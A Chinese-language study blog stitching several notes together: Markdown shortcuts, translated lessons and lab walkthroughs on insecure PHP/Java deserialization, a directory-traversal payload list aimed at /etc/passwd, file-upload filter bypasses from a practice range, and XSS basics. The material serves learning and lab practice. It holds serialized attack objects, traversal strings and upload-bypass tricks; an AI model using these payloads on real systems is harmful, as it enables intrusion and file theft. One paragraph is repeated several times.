Markdown语法

快捷键汇总

功能快捷键功能快捷键
加粗Ctrl+B插入图像Ctrl+Shift+I
斜体Ctrl+I删除线Alt+Shift+5
下划线Ctrl+U公式块Ctrl+Shift+M
超链接Ctrl+K代码块Ctrl+Shift+K
表格Ctrl+T代码段Ctrl+Shift+`
引用>+空格退出引用Shift+Tab
段落Ctrl+0有序列表Ctrl+Shift+[
标题Ctrl+数字无序列表Ctrl+Shift+]
全选Ctrl+A选中行/句Ctrl+L
选中段落Ctrl+E选中当前词Ctrl+D
跳转所选Ctrl+J跳转文首/末Ctrl+Home/End
源代码模式Ctrl+/
阅读全文 »

不安全的反序列化

在本节中,我们将介绍什么是不安全的反序列化,并描述不安全的反序列化如何可能使网站遭受严重攻击。我们将重点介绍典型场景,并使用 PHP、Ruby 和 Java 反序列化的具体示例演示一些广泛适用的技术。我们还将介绍一些可以避免自己的网站出现不安全反序列化漏洞的方法。

什么是序列化?

序列化是将复杂的数据结构(如对象及其字段)转换为 “flatter” 格式的过程,这种格式可以作为连续的字节流发送和接收。数据序列化使以下工作变得更加简单:

  • 将复杂数据写入进程间内存、文件或数据库

  • 通过网络、应用程序不同组件之间或 API 调用等方式发送复杂数据

最重要的是,在序列化对象时,其状态也会被持久化。换句话说,对象的属性及其赋值都会被保留下来。

序列化与反序列化

反序列化是将字节流还原为原始对象的全功能复制品的过程,其状态与序列化时完全相同。然后,网站的逻辑就可以与这个反序列化对象交互,就像与其他对象交互一样。

许多编程语言都为序列化提供本地支持。具体如何序列化对象取决于语言。有些语言将对象序列化为二进制格式,而其他语言则使用不同的字符串格式,其可读性也各不相同。请注意,原始对象的所有属性都会存储在序列化数据流中,包括任何私有字段。要防止某个字段被序列化,必须在类声明中将其明确标记为 “transient” 字段。

请注意,在使用不同的编程语言时,序列化可能被称为 marshalling(Ruby)或 pickling(Python)。这些术语在此处与 “serialization” 同义。

什么是不安全的反序列化?

不安全的反序列化是指网站对用户可控数据进行反序列化。这有可能使攻击者操纵序列化对象,从而将有害数据传递到应用程序代码中。

甚至有可能将序列化后的对象替换为完全不同类的对象。令人担忧的是,网站可用的任何类的对象都会被反序列化和实例化,而不管预期的是哪个类。因此,不安全的反序列化有时被称为 “对象注入 ”漏洞。

一个意外类的对象可能会导致异常。不过,此时破坏可能已经造成。许多基于反序列化的攻击都是在反序列化完成之前完成的。这意味着,即使网站本身的功能不直接与恶意对象交互,反序列化过程本身也可能发起攻击。因此,逻辑基于强类型语言的网站也容易受到这些技术的攻击。

不安全的反序列化漏洞是如何产生的?

不安全的反序列化通常是因为人们普遍缺乏对反序列化用户可控数据的危险性的认识。理想情况下,用户输入根本不应该被反序列化。

不过,有时网站所有者会认为自己很安全,因为他们对反序列化数据实施了某种形式的额外检查。这种方法往往是无效的,因为几乎不可能实施验证或消毒来应对每一种可能发生的情况。这些检查从根本上说也是有缺陷的,因为它们依赖于在数据被反序列化后对其进行检查,而在许多情况下,这已经太晚了,无法阻止攻击。

由于通常认为反序列化对象是可信的,因此也可能出现漏洞。特别是在使用二进制序列化格式的语言时,开发人员可能会认为用户无法有效地读取或操作数据。然而,虽然可能需要付出更多努力,但攻击者利用二进制序列化对象的可能性与利用基于字符串格式的对象的可能性一样大。

现代网站中存在大量依赖关系,这也使得基于反序列化的攻击成为可能。一个典型的网站可能实现了许多不同的库,每个库都有自己的依赖关系。这就形成了一个庞大的类和方法池,很难对其进行安全管理。由于攻击者可以创建任何这些类的实例,因此很难预测在恶意数据上可以调用哪些方法。如果攻击者能够将一长串意想不到的方法调用串联起来,将数据传递到与初始源完全无关的汇中,情况就更是如此。因此,要预测恶意数据流并堵住每个潜在漏洞几乎是不可能的。

简而言之,可以说不可能安全地反序列化不受信任的输入。

不安全的反序列化会产生什么影响?

不安全的反序列化可能会造成非常严重的影响,因为它为大量增加的攻击面提供了一个切入点。它允许攻击者以有害的方式重复使用现有的应用程序代码,导致许多其他漏洞,通常是远程代码执行。

即使在不可能执行远程代码的情况下,不安全的反序列化也会导致权限升级、任意文件访问和拒绝服务攻击。

如何利用不安全的反序列化漏洞

现在您已经熟悉了序列化和反序列化的基础知识,我们可以看看如何利用不安全的反序列化漏洞。

利用不安全的反序列化漏洞

在本节中,我们将以 PHP、Ruby 和 Java 反序列化为例,教您如何利用一些常见情况。我们希望展示利用不安全的反序列化实际上比许多人想象的要容易得多。如果您能够使用预构建的小工具链,甚至在黑盒测试中可以做到这一点。

我们还将指导您创建自己的基于反序列化的高严重性攻击。虽然这些攻击通常需要源代码访问权限,但一旦理解了基本概念,学习起来也会比想象中容易。我们将特别介绍以下主题:

  • 如何识别不安全的反序列化 LABS

  • 修改网站期望的序列化对象 LABS

  • 向危险的网站功能传递恶意数据 LABS

  • 注入任意对象类型

  • 串联方法调用以控制进入危险水槽小工具的数据流 LABS

  • 手动创建自己的高级漏洞利用程序 LABS

  • PHAR 反序列化

Note

尽管许多实验和示例都基于 PHP,但大多数开发技术对其他语言也同样适用。

如何识别不安全的反序列化

不管是白盒测试还是黑盒测试,识别不安全的反序列化都相对简单。

在审计过程中,你应该查看所有传入网站的数据,并尝试识别任何看起来像序列化数据的东西。如果了解不同语言使用的格式,序列化数据就能比较容易地识别出来。在本节中,我们将展示 PHP 和 Java 序列化的示例。一旦识别出序列化数据,就可以测试是否能够控制它。

Tip

对于 Burp Suite Professional 的用户,Burp Scanner 会自动标记任何看起来包含序列化对象的 HTTP 消息。

PHP 序列化格式

PHP 使用的大多是人类可读的字符串格式,字母代表数据类型,数字代表每个条目的长度。例如,用户对象的属性为

1
2
$user->name = "carlos";
$user->isLoggedIn = true;

序列化后,该对象的外观可能如下所示:

1
O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}

这可以解释为:

  • O:4: "User" - 具有 4 个字符类名 "User" 的对象

  • 2 - 该对象有 2 个属性

  • s:4: "name" - 第一个属性的键是 4 个字符的字符串 “name”

  • s:6: "carlos" - 第一个属性的值是 6 个字符的字符串 “carlos”

  • s:10: "isLoggedIn" - 第二个属性的键是 10 个字符的字符串 “isLoggedIn”。

  • b:1 - 第二个属性的值是布尔值 true

PHP 序列化的本地方法是 serialize()unserialize()。如果可以访问源代码,就应该先在代码中查找 unserialize(),然后进一步研究。

Java 序列化格式

有些语言(如 Java)使用二进制序列化格式。这种格式更难读取,但如果知道如何识别一些蛛丝马迹,还是可以识别序列化数据的。例如,序列化的 Java 对象总是以相同的字节开始,在十六进制中编码为 aced,在 Base64 中编码为 rO0

任何实现了 java.io.Serializable 接口的类都可以被序列化和反序列化。如果您可以访问源代码,请注意任何使用 readObject() 方法的代码,该方法用于从 InputStream 中读取和反序列化数据。

操作序列化对象

利用某些反序列化漏洞就像更改序列化对象中的一个属性一样简单。由于对象状态是持久化的,因此可以通过研究序列化数据来识别和编辑有趣的属性值。然后,您就可以通过网站的反序列化过程将恶意对象传入网站。这是基本反序列化漏洞利用的第一步。

一般来说,在操作序列化对象时有两种方法。一种是直接编辑字节流形式的对象,另一种是用相应的语言编写简短的脚本,自己创建新对象并将其序列化。在处理二进制序列化格式时,后一种方法通常更为简便。

修改对象属性

在篡改数据时,只要攻击者保留了一个有效的序列化对象,反序列化过程就会创建一个带有修改后属性值的服务器端对象。

举个简单的例子,一个网站使用序列化的 User 对象在 cookie 中存储用户会话数据。如果攻击者在 HTTP 请求中发现了这个序列化对象,他们可能会对其进行解码,发现以下字节流:

1
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

isAdmin 属性是一个明显的关注点。攻击者只需将该属性的布尔值改为 1(true),重新编码对象,然后用修改后的值覆盖当前 cookie 即可。单独来看,这不会产生任何影响。但是,假设网站使用此 cookie 来检查当前用户是否有访问某些管理功能的权限:

1
2
3
4
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

这段有漏洞的代码会根据 cookie 中的数据(包括攻击者修改过的 isAdmin 属性)实例化一个User对象。在任何时候都不会检查序列化对象的真实性。然后,这些数据会被传递到条件语句中,在这种情况下,就可以轻松实现权限升级。

这种简单的情况在实际应用中并不常见。不过,以这种方式编辑属性值,展示了获取不安全反序列化所暴露的大量攻击面的第一步。

Lab:修改序列化对象

本实验使用了基于序列化的会话机制,因此存在权限升级漏洞。要解决该实验问题,请编辑会话 cookie 中的序列化对象,利用此漏洞获得管理权限。然后删除用户 carlos。

  • 使用自己的凭据登录。请注意,登录后的 GET /my-account 请求包含一个会话 cookie,它似乎是 URL 和 Base64 编码的。

  • 使用 Burp 的 Inspector 面板研究请求的解码形式。请注意,cookie 实际上是一个序列化的 PHP 对象。admin 属性包含 b:0,表示布尔值 false。将此请求发送到 Burp Repeater。

  • 在 Burp Repeater 中,使用检查器再次检查 cookie,并将 admin 属性的值更改为 b:1。点击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  • 发送请求。请注意,响应中现在包含了一个指向 /admin 管理面板的链接,表明您已使用管理员权限访问了该页面。

  • 将请求路径改为 /admin,然后重新发送。注意 /admin 页面包含删除特定用户账户的链接。

  • 将请求路径更改为 /admin/delete?username=carlos,然后发送请求以解决实验室问题。

修改数据类型

我们已经看到了如何修改序列化对象中的属性值,但也有可能提供意想不到的数据类型。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true。

如何防止不安全的反序列化漏洞

一般来说,除非绝对必要,否则应避免对用户输入进行反序列化。在许多情况下,反序列化可能带来的高严重性漏洞,以及防范这些漏洞的难度,都超过了反序列化的好处。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true

不同寻常的是,这也适用于任何以数字开头的字母数字字符串。在这种情况下,PHP 将根据开头的数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something" 实际上被视为 5 == 5

同样,在 PHP 7.x 及更早版本中,比较 0 == "Example string" 的结果为 true,因为 PHP 将整个字符串视为整数 0

考虑将这种松散的比较运算符与来自反序列化对象的用户可控数据结合使用的情况。这有可能导致危险的逻辑缺陷。

1
2
3
4
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}

假设攻击者修改了密码属性,使其包含整数 0,而不是预期的字符串。只要存储的密码不是以数字开头,该条件就会始终返回 true,从而实现身份验证绕过。请注意,这只是因为反序列化保留了数据类型。如果代码直接从请求中获取密码,0 将被转换为字符串,条件将返回 false

Note

在 PHP 8 及以后的版本中,0 == “Example string ”比较结果为 false,因为在比较过程中字符串不再隐式转换为 0。因此,在这些版本的 PHP 中无法使用此漏洞。

比较以数字开头的字母数字字符串的行为在 PHP 8 中保持不变。因此,5 == “5 of something ”仍被视为 5 == 5

请注意,在修改任何序列化对象格式中的数据类型时,一定要记得更新序列化数据中的任何类型标签和长度指示符。否则,序列化对象将被损坏,无法进行反序列化。

Lab: 修改序列化数据类型

本实验使用了基于序列化的会话机制,因此容易发生身份验证绕过。要解决该实验问题,请编辑会话 cookie 中的序列化对象,以访问administrator账户。然后删除用户 carlos

  • 使用自己的凭据登录。在 Burp 中,打开登录后的 GET /my-account 请求,并使用检查器检查会话 cookie,以显示序列化的 PHP 对象。将此请求发送到 Burp Repeater。

  • 在 Burp Repeater 中,使用检查器面板对会话 cookie 进行如下修改:

    • 将用户名属性的长度更新为 13。

    • 将用户名改为管理员。

    • 将访问令牌更改为整数 0。 由于这不再是字符串,因此还需要删除值周围的双引号。

    • 将 s 替换为 i,更新访问令牌的数据类型标签。

结果应该是这样的:

1
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
  • 单击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  • 发送请求。请注意,响应中现在包含一个指向 /admin 管理面板的链接,表明您已成功以管理员用户身份访问该页面。

  • 将请求路径改为 /admin,然后重新发送。注意/admin 页面包含删除特定用户账户的链接。

  • 将请求路径更改为/admin/delete?username=carlos,然后发送请求以解决实验室问题。

在直接处理二进制格式时,我们建议使用 BApp 商店提供的 Hackvertor 扩展。使用 Hackvertor,你可以将序列化数据修改为字符串,它会自动更新二进制数据,并相应调整偏移量。这样可以节省大量的手动操作。

使用应用程序功能

除了简单地检查属性值外,网站功能还可能对来自反序列化对象的数据执行危险操作。在这种情况下,您可以利用不安全的反序列化传递非预期数据,并利用相关功能进行破坏。

例如,作为网站 “删除用户 ”功能的一部分,用户的个人资料图片是通过访问 $user->image_location 属性中的文件路径来删除的。如果该 $user 是通过序列化对象创建的,攻击者就可以通过将 image_location 设置为任意文件路径的修改后传入来利用这一漏洞。删除自己的用户账户后,也会删除这个任意文件。

Lab: 使用应用程序功能利用不安全的反序列化

本实验室使用基于序列化的会话机制。某个功能会对序列化对象中提供的数据调用一个危险的方法。要解决这个实验问题,请编辑会话 cookie 中的序列化对象,并用它删除Carlos主目录中的 morale.txt 文件。

  1. 登录自己的账户。在 “我的账户 ”页面,注意到有删除账户的选项,可向 /my-account/delete 发送 POST 请求。

  2. 向 Burp Repeater 发送包含会话 cookie 的请求。

  3. 在 Burp Repeater 中,使用检查器面板研究会话 cookie。注意到序列化对象有一个 avatar_link 属性,其中包含头像的文件路径。

  4. 编辑序列化数据,使 avatar_link 指向 /home/carlos/morale.txt。记住要更新长度指示符。修改后的属性应如下所示:

1
s:11:"avatar_link";s:23:"/home/carlos/morale.txt"
  1. 点击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  2. 将请求行改为 POST /my-account/delete 并发送请求。您的账户将被删除,同时删除的还有卡洛斯的 morale.txt 文件。

这个示例依赖于攻击者通过用户可访问的功能手动调用危险方法。但是,如果利用漏洞自动将数据传递到危险方法中,不安全的反序列化就会变得更加有趣。使用 “magic methods ”可以实现这一点。

Magic methods

魔法方法是无需显式调用的方法的特殊子集。相反,每当发生特定事件或情况时,它们就会被自动调用。魔法方法是各种语言中面向对象编程的常见特征。有时会在方法名称的前缀或周围加上双引号来表示它们。

开发人员可以在类中添加魔法方法,以便预先确定在相应事件或场景发生时应执行哪些代码。调用魔法方法的具体时间和原因因方法而异。PHP 中最常见的例子之一是 __construct(),它在类的对象实例化时被调用,类似于 Python 的 __init__ 。通常,构造函数魔法方法包含初始化实例属性的代码。不过,开发人员可以自定义魔法方法,以执行他们想要的任何代码。

魔法方法被广泛使用,其本身并不代表漏洞。但是,当执行这些方法的代码处理攻击者可控制的数据(例如来自反序列化对象的数据)时,它们就会变得危险。攻击者可以利用这一点,在满足相应条件时自动调用反序列化数据上的方法。

最重要的是,有些语言在反序列化过程中会自动调用魔法方法。例如,PHP 的 unserialize() 方法会查找并调用对象的 __wakeup() 魔法方法。

在 Java 反序列化中,ObjectInputStream.readObject() 方法也是如此,该方法用于从初始字节流中读取数据,本质上类似于 “重新初始化 ”序列化对象的构造函数。不过,可序列化类也可以按如下方式声明自己的 readObject() 方法:

1
2
3
4
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
{
// implementation
}

以这种方式声明的 readObject() 方法就像一个魔法方法,在反序列化过程中会被调用。这样,类就能更紧密地控制自己字段的反序列化。

你应该密切关注任何包含这类神奇方法的类。它们允许你在对象完全反序列化之前将数据从序列化对象传递到网站代码中。这是创建更高级漏洞的起点。

注入任意对象

正如我们所见,偶尔可以通过简单编辑网站提供的对象来利用不安全的反序列化。然而,注入任意对象类型会带来更多可能性。

在面向对象编程中,对象可用的方法由其类决定。因此,如果攻击者能操纵作为序列化数据传入的对象类别,就能影响反序列化后甚至反序列化过程中执行的代码。

反序列化方法通常不会检查它们正在反序列化的对象。这意味着你可以传入网站可用的任何可序列化类的对象,而该对象将被反序列化。这实际上允许攻击者创建任意类的实例。这个对象不是预期的类并不重要。意外的对象类型可能会导致应用程序逻辑出现异常,但恶意对象届时已经实例化了。

如果攻击者可以访问源代码,他们就可以详细研究所有可用的类。要构建一个简单的漏洞,攻击者可以查找包含反序列化魔法方法的类,然后检查其中是否有对可控数据执行危险操作的类。然后,攻击者就可以传入该类的序列化对象,使用其魔法方法进行攻击。

Lab: PHP 中的任意对象注入

本实验使用基于序列化的会话机制,因此容易受到任意对象注入的攻击。要解决该实验问题,请创建并注入一个恶意序列化对象,以删除 Carlos home 目录中的 morale.txt 文件。您需要获得源代码访问权限才能解决本实验。

  1. 登录自己的账户,注意会话 cookie 包含一个序列化的 PHP 对象。

  2. 在网站地图中,注意到网站引用了 /libs/CustomTemplate.php 文件。右键单击该文件,选择 “发送到中继器”。

image-20250527163121200

  1. 在 Burp Repeater 中,注意在请求行的文件名后添加一个斜杠 (~) 就能读取源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class CustomTemplate {
private $template_file_path;
private $lock_file_path;

public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}

private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}

public function getTemplate() {
return file_get_contents($this->template_file_path);
}

public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}

function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}

?>
  1. 在源代码中,请注意 CustomTemplate 类包含 __destruct() 魔法方法。这将调用 lock_file_path 属性上的 unlink() 方法,从而删除该路径上的文件。

  2. 在 Burp 解码器中,使用序列化 PHP 数据的正确语法创建一个 CustomTemplate 对象,并将 lock_file_path 属性设置为 /home/carlos/morale.txt。确保使用正确的数据类型标签和长度指示符。最终对象应如下所示:

1
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
  1. 对该对象进行 Base64 和 URL 编码,并将其保存到剪贴板。

  2. 向 Burp Repeater 发送包含会话 cookie 的请求。

  3. 在 Burp Repeater 中,用剪贴板中修改后的 cookie 替换会话 cookie。

  4. 发送请求。魔法方法 __destruct() 会被自动调用,并删除 Carlos 的文件。

包含这些反序列化魔法方法的类还可用于发起更复杂的攻击,其中涉及一长串方法调用,即所谓的 “小工具链”。

小工具链

小工具 "是应用程序中存在的代码片段,可帮助攻击者实现特定目标。单个小工具可能不会直接对用户输入进行任何有害操作。但是,攻击者的目标可能只是调用一个方法,将用户输入传递到另一个小工具中。通过以这种方式将多个小工具串联在一起,攻击者就有可能将其输入传递到一个危险的 “下沉小工具 ”中,从而造成最大的破坏。

重要的是要明白,与其他一些类型的漏洞利用不同,小工具链不是攻击者构建的链式方法的有效payload。所有代码都已存在于网站上。攻击者唯一能控制的是传入小工具链的数据。这通常是通过在反序列化过程中调用的魔法方法来实现的,有时也称为 “启动小工具”。

在外网,许多不安全的反序列化漏洞只能通过使用小工具链来利用。这有时可能是简单的一步或两步链,但构建高严重性攻击可能需要更复杂的对象实例化和方法调用序列。因此,能够构建小工具链是成功利用不安全反序列化的关键因素之一。

使用预制小工具链

手动识别小工具链可能是一个相当艰巨的过程,而且在没有源代码访问权限的情况下几乎是不可能的。幸运的是,有几种使用预建小工具链的方法可以先试试。

有几种工具可以提供一系列预先发现的链,这些链已在其他网站上被成功利用。即使您没有访问源代码的权限,也可以使用这些工具来识别和利用不安全的反序列化漏洞,所需的工作量相对较小。之所以能采用这种方法,是因为广泛使用了包含可利用小工具链的库。例如,如果 Java 的 Apache Commons Collections 库中的小工具链可以在一个网站上被利用,那么任何其他实现该库的网站也可以使用相同的小工具链进行利用。

ysoserial

ysoserial "就是这样一个 Java 反序列化工具。它可以让你从提供的小工具链中选择一个你认为目标应用程序正在使用的库,然后传入你想执行的命令。然后,它会根据所选链创建一个合适的序列化对象。这仍然需要一定的尝试和错误,但比手动构建自己的小工具链要省力得多。

Note
在 Java 16 及以上版本中,您需要设置一系列命令行参数,以便 Java 运行 ysoserial。例如

1
2
3
4
5
6
java -jar ysoserial-all.jar \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
[payload] '[command]'

Lab:使用Apache Commons利用Java 反序列化

本实验室使用基于序列化的会话机制,并加载 Apache Commons Collections 库。虽然您没有源代码访问权限,但仍可使用预构建的小工具链来利用本实验室。

要解决该实验室问题,请使用第三方工具生成一个包含远程代码执行有效载荷的恶意序列化对象。然后,将此对象传入网站,删除卡洛斯主目录中的 morale.txt 文件。

本文参考:

目录遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 相对路径遍历
https://insecure-website.com/loadImage?filename=../../../etc/passwd

# 绝对路径遍历
https://insecure-website.com/loadImage?filename=/etc/passwd

# 嵌套遍历
https://insecure-website.com/loadImage?filename=....//....//....//etc//passwd
https://insecure-website.com/loadImage?filename=....//....//....//etc//passwd

# URL编码遍历
# 单层相对
filename=%2e%2e%2fetc%2fpasswd
# 双层相对
filename=%252e%252e%252fetc%2fpasswd
# 双层相对
filename=.%%32%65/.%%32%65/.%%32%65/etc/passwd
# 从预期基本文件夹开始
filename=/var/www/images/...%2f...%2f...%2fetc/passwd
# 空字节截断
filename=.../.../.../etc/passwd%00.png

入门

进阶

本文参考:

OK,打这个靶场的目的首先是学习学习,其次是看看我目前的能力。那些简单的,几下就过的就直接省略写了,后边能学到东西的再详细写一下。

Pass-01

很简单,把php文件后缀改成jpg,在burpsuite再改回来就可以了。

Pass-02

跟上题一样

Pass-03

  • 后端黑名单机制,别改回php,改成php5。

  • 另外随机化了文件名称,访问的时候注意。

  • 难度上升的还挺快,后端php代码不执行,上传配置文件

  • 后端自动添加随机化前缀,上传配置文件是不行的。

这一关怎么回事,后边的都比这个容易,网上的跟我遇到的也不一样。先留着看看了。

Pass-04

这个是修改.htaccess文件

Pass-05

额…上传后缀jpg的php文件,访问直接执行php代码了。删了.htaccess文件重来。
jpg上传成功,php上传失败,随便后缀上传成功,因此后端黑名单防护。大小写绕过成功用于我docker镜像的系统是Linux所以不会执行,网上很多windows系统是直接执行的。

Pass-06

道理一样,jpg上传成功,php上传失败,随便后缀上传成功,因此后端黑名单防护。做了一些尝试,最后1.php .上传成功。Linux无法访问

Pass-07

唉又是黑名单。上传1.php.直接上传了。Linux不执行

Pass-08

又是黑名单。::$DATA绕过,因为是linux依然不执行。

Pass-09

哎呀又是黑名单。1.php. .成功绕过,但是生成1.php.,Linux不执行

Pass-10

又是。黑名单删除,上传1.pphphp成功绕过,可执行

Pass-11

终于不是黑名单了。随机化文件名,只能传符合要求的后缀。网上说是%00截断。但是这里的php版本已经更新了?

image-20250514140155533

php版本要小于5.3.4,5.3.4及以上已经修复该问题;并且magic_quotes_gpc需要为OFF状

image-20250519105248225

Pass-12

这关跟上提的差别就是把GET方法传的save_path改成了用POST方法传。要把%00截断符改成十六进制截断符。

跨站脚本

什么是跨站脚本 (XSS)?

跨站脚本攻击(又称 XSS)是一种网络安全漏洞,它允许攻击者破坏用户与有漏洞的应用程序之间的交互。它允许攻击者规避同源策略,该策略旨在将不同网站相互隔离。跨站脚本漏洞通常允许攻击者伪装成受害用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害用户在应用程序中拥有特权访问权限,那么攻击者就可以完全控制应用程序的所有功能和数据。

XSS 如何工作?

跨站脚本攻击的原理是操纵有漏洞的网站,使其向用户返回恶意 JavaScript。当恶意代码在受害者的浏览器中执行时,攻击者就能完全破坏他们与应用程序的交互。

Labs

如果您已经熟悉了 XSS 漏洞背后的基本概念,只是想在一些现实的、故意易受攻击的目标上练习利用这些漏洞,您可以通过下面的链接访问本主题中的所有实验室。

XSS 概念验证

您可以通过注入有效负载,使自己的浏览器执行一些任意 JavaScript 来确认大多数类型的 XSS 漏洞。使用 alert() 函数来实现这一目的早已成为惯例,因为它简短、无害,而且成功调用时很难被忽略。事实上,我们的大多数 XSS 实验都是在模拟受害者的浏览器中调用 alert() 来解决的。

不幸的是,如果您使用的是 Chrome 浏览器,就会遇到一点小麻烦。从版本 92 开始(2021 年 7 月 20 日),跨源 iframe 无法调用 alert()。由于这些框架用于构建一些更高级的 XSS 攻击,因此有时需要使用其他 PoC 有效负载。在这种情况下,我们推荐使用 print() 函数。如果您有兴趣了解有关这一变更的更多信息,以及我们为什么喜欢 print(),请查看我们有关这一主题的博客

XSS 攻击有哪些类型?

XSS 攻击主要有三种类型。它们是:

  • 反射 XSS:恶意脚本来自当前 HTTP 请求。

  • 存储型 XSS:恶意脚本来自网站数据库。

  • 基于 DOM 的 XSS,即漏洞存在于客户端代码而非服务器端代码中

反射式跨站脚本

在本节中,我们将解释反射式跨站脚本,描述反射式 XSS 攻击的影响,并说明如何查找反射式 XSS 漏洞。

什么是反射式跨站脚本?

反射式 XSS 是跨站脚本攻击中最简单的一种。当应用程序接收 HTTP 请求中的数据,并以不安全的方式将这些数据包含在即时响应中时,就会出现这种情况。

下面是一个反射 XSS 漏洞的简单示例:

1
2
https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>

应用程序不会对数据进行任何其他处理,因此攻击者可以构建类似的攻击:

1
2
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>

如果用户访问了攻击者构建的 URL,那么攻击者的脚本就会在该用户与应用程序的会话上下文中,在用户的浏览器中执行。此时,脚本可以执行任何操作,并检索用户可以访问的任何数据。

当应用程序接收 HTTP 请求中的数据,并以不安全的方式将该数据包含在即时响应中时,就会产生反射式跨站脚本攻击(或 XSS)。

假设一个网站有一个搜索功能,它在 URL 参数中接收用户提供的搜索词:

1
https://insecure-website.com/search?term=gift

应用程序会在对该 URL 的响应中呼应所提供的搜索词:

1
<p>You searched for: gift</p>

假定应用程序不对数据进行任何其他处理,攻击者就可以构建这样的攻击:

1
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>

该 URL 会得到以下响应:

1
<p>You searched for: <script>/* Bad stuff here... */</script></p>

如果应用程序的其他用户请求攻击者的 URL,那么攻击者提供的脚本就会在受害者用户的浏览器中,在其与应用程序的会话上下文中执行。

Lab: 将 XSS 反映到未编码的 HTML 上下文中

直接在搜索框搜索 <script>alert(1)</script> 就通关了

反射式 XSS 攻击的影响

如果攻击者可以控制受害者浏览器中执行的脚本,那么他们通常就可以完全控制该用户。其中,攻击者可以:

  • 在应用程序内执行用户可以执行的任何操作。

  • 查看用户可以查看的任何信息。

  • 修改用户可以修改的任何信息。

  • 启动与其他应用程序用户的交互,包括恶意攻击,这些攻击看似来自最初的受害用户。

攻击者可以通过各种手段诱使受害用户发出受其控制的请求,从而实施反射 XSS 攻击。这些手段包括在攻击者控制的网站上或允许生成内容的其他网站上放置链接,或在电子邮件、推特或其他信息中发送链接。攻击可以直接针对已知用户,也可以是针对应用程序任何用户的无差别攻击。

攻击需要外部传递机制,这意味着反射 XSS 的影响通常不如存储 XSS 严重,因为存储 XSS 可以在易受攻击的应用程序内部传递自带的攻击。

利用跨站点脚本漏洞

证明发现跨站脚本漏洞的传统方法是使用 alert() 函数创建一个弹出窗口。这并不是因为 XSS 与弹出窗口有什么关系;这只是一种证明您可以在给定域上执行任意 JavaScript 的方法。您可能会注意到有些人使用 alert(document.domain)。这是一种明确说明 JavaScript 在哪个域上执行的方法。

有时,你会想更进一步,通过提供一个完整的漏洞利用来证明 XSS 漏洞是一个真正的威胁。在本节中,我们将探讨三种最常用、最强大的 XSS 漏洞利用方法。

窃取 cookie 是一种利用 XSS 的传统方法。大多数网络应用程序都使用 cookie 进行会话处理。您可以利用跨站脚本漏洞,将受害者的 cookie 发送到自己的域,然后手动将 cookie 注入浏览器并假冒受害者。

实际上,这种方法有很大的局限性:

  • 受害者可能没有登录。

  • 许多应用程序会使用 HttpOnly 标志对 JavaScript 隐藏 cookie。

  • 会话可能被其他因素锁定,如用户的 IP 地址。

  • 会话可能会在你劫持之前超时。

本实验室包含博客评论功能中的存储 XSS 漏洞。模拟受害者用户会查看发布后的所有评论。要解决该实验问题,利用该漏洞渗出受害者的会话 cookie,然后使用该 cookie 冒充受害者。

不同情况下的反射 XSS

存储型XSS

当应用程序从不受信任的来源接收数据,并以不安全的方式将这些数据包含在随后的 HTTP 响应中时,就会产生存储 XSS(也称为持久或二阶 XSS)。

有关数据可能是通过 HTTP 请求提交给应用程序的;例如,博客文章上的评论、聊天室中的用户昵称或客户订单上的详细联系信息。在其他情况下,数据可能来自其他不受信任的来源;例如,显示通过 SMTP 收到的邮件的网络邮件应用程序、显示社交媒体帖子的营销应用程序或显示网络流量数据包的网络监控应用程序。

下面是一个存储 XSS 漏洞的简单示例。一个留言板应用程序允许用户提交信息,并显示给其他用户:

1
<p>Hello, this is my message!</p>

应用程序不会对数据进行任何其他处理,因此攻击者可以轻松发送攻击其他用户的信息:

1
<p><script>/* Bad stuff here... */</script></p>

基于 DOM 的跨站点脚本

基于 DOM 的 XSS(也称 DOM XSS)是指应用程序包含一些客户端 JavaScript,这些 JavaScript 以不安全的方式处理来自不信任源的数据,通常是将数据写回 DOM。

